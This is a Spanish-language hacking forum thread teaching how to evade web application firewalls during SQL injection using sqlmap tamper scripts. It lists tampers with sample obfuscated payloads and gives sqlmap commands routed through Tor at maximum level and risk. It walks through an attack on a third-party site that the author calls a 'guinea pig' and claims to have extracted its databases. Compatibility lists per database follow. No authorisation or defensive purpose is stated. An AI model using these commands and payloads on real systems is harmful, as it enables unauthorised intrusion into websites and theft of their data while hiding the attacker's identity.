Bypasseando WAF con SQLMAP & TAMPER

Iniciado por BrowserNet, Mayo 23, 2016, 11:27:24 AM

Tema anterior - Siguiente tema

0 Miembros y 5 Visitantes están viendo este tema.

Mayo 23, 2016, 11:27:24 AM Ultima modificación: Junio 02, 2016, 08:27:58 AM por EPSILON

Saludos mis fieles lectores estuve leyendo algunos mensajes de mis seguidores y me comentaban lo siguiente ¿Como Bypassear el WAF de los servidores web para ataques de inyección SQL? ya que no hay mucha información sobre que tipo de de insertacion que contienen cada tamper en sus payloads, me tomare la molestia de pasarlo a explicar.

¿Que es un WAF? 


WAF - Web Application Firewall (Aplicación de corta fuegos Web), es un servicio de filtros contra ataques de código malicioso como los conocidos "XSS" - Cross-Site-Scripting, "SQL inyección", "RFI" - Remote File Inclusión, "DoS" - Denegación de servicios, "DDoS" - Distribución de denegación de servicios, entre otros ataques detectados pasaran a ser bloqueados por este servicio de filtros.

Existen muchos, pero algunos conocidos y familiarizados con la mayoría de plataformas son:

ModSecurity
Naxsi-Nginx




¿Que es un Tamper?

Un Tamper es un aplicativo open source creado en python compatible con sqlmap, para las funciones de insertar payloads camuflados, mediante envíos de peticiones de sintaxis a la base de datos burlando algunas aplicaciones de protección web, como los conocidos "WAF"

La ubicación los tampers se encuentren en el siguiente directorio: /usr/share/sqlmap/tamper


Funciones y codificaciones de los Tamper mas utilizados



space2comment.py         - Sustituye un carácter de espacio >>  " ( ' ') ", con inserciones ' / ** /'

charencode.py                 - codifica todos los caracteres con numérico   44%20%54%20%

base64encode.py            - convierte todo los caracteres en codificación base64
'MScgQU5EIFNMRUVQKDUpIw=='

randomcomments.py     - Añade comentarios al azar mediante búsquedas de palabras MySQL
'I/**/N/**/SERT'

versionedkeywords.py   - Especifica cada palabra clave de versión de búsqueda MySQL
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR

space2randomblank.py - Sustituye carácter de espacio ('') con un carácter en blanco al azar 'SELECT%0Did%0DFROM%0Ausers'

modsecurityversioned.py ejecuta consulta completa con comentario versionado
'1 /*!30874AND 2>1*/--'

equaltolike.py - Reemplaza todas las apariciones de operador igual ('=') con el operador 'LIKE'
'SELECT * FROM users WHERE id LIKE 1'

randomcase.py - Reemplaza cada personaje de palabras clave con el valor de caso fortuito 'INseRt'


Ojo: cada tamper tiene como función única para uno o varios tipos de lenguajes de base de datos.

Si desean saber mas funciones de algunos Tamper's pueden verlo en los repertorios de cada uno en el siguiente enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Burlando WAF mediante SQL inyección


En esta oportunidad escogí un servidor web como conejillo de indias para poder llevar acabo el servicio de ataque, en mi caso haré una inyección en el parámetro GET  vulnerable con los comandos básicos de sqlmap con el TOR.

[/code]
Código: php
sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --level=5 --risk=3 --random-agent




Si bien es cierto el testeo nos arroja que es "Inyectable", luego para nuestra mala suerte nos arroja que es un falso positivo, pero concatena sintaxis, en el parámetro categoría



Entonces al ejecutar el servidor de un falso positivo,me pide que ejecute el "--no-cast"para cargar los payload para el testeo de los nombres de las base se datos, muchos ya se hubieran rendido porque este proceso en su mayoría no es tan útil al momento de extraer las tablas o columnas de la base de datos.

Entonces observando que el servidor esta en MySQL puedo añadir el tamper space2comment, pero también puedo jugar con otro tamper añadiéndolo al testeo como charencode.

Código: php
root@kali:~# sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --tor-port=9150 --tor-type=SOCKS5 --tamper="space2comment,charencode.py" --level=5 --risk=3 -v 3 --random-agent --dbs --no-cast 




vemos que nuestro testeo esta corriendo y vemos aviso del WAF, ya que hemos personalizado el TEST con un escaneo mas extenso gracias al servicio Verbose que le añadimos el rango 3,  -v 3 enviamos una petición carácter y numérica, entonces nuestro payload se esta ejecutando con perfección



Hemos burlado el WAF y por ende extraído las base de datos de dicho servidor, mientras hay otros tamper que son detectados por los corta fuegos, dándonos como mensaje lo siguiente:



es por eso que se deben interactuar con cada tamper para que trate de bypassear los diferentes tipos de WAF, para poder ejecutar las sentencias de ofuscación, recuerden que cada Tamper esta elaborad para cada tipo de estructura de lenguaje web, como jsp, asp, aspx, php.



Compatibilidad de los tamper con los tipos de estructuras de base de  datos:


MySQL


space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase

MSSQL:
sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere

MSAccess:
modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespaces

PostgreSQL:
xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between


SQLite:
space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement

Mayo 23, 2016, 11:37:33 AM #1 Ultima modificación: Mayo 23, 2016, 01:47:41 PM por Gabriela
Ejecutarlo de manera manual aveces es mas efectivo, El orden de los factores no altera el producto pero me encanto la manera que el compañero lo redacto  8)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta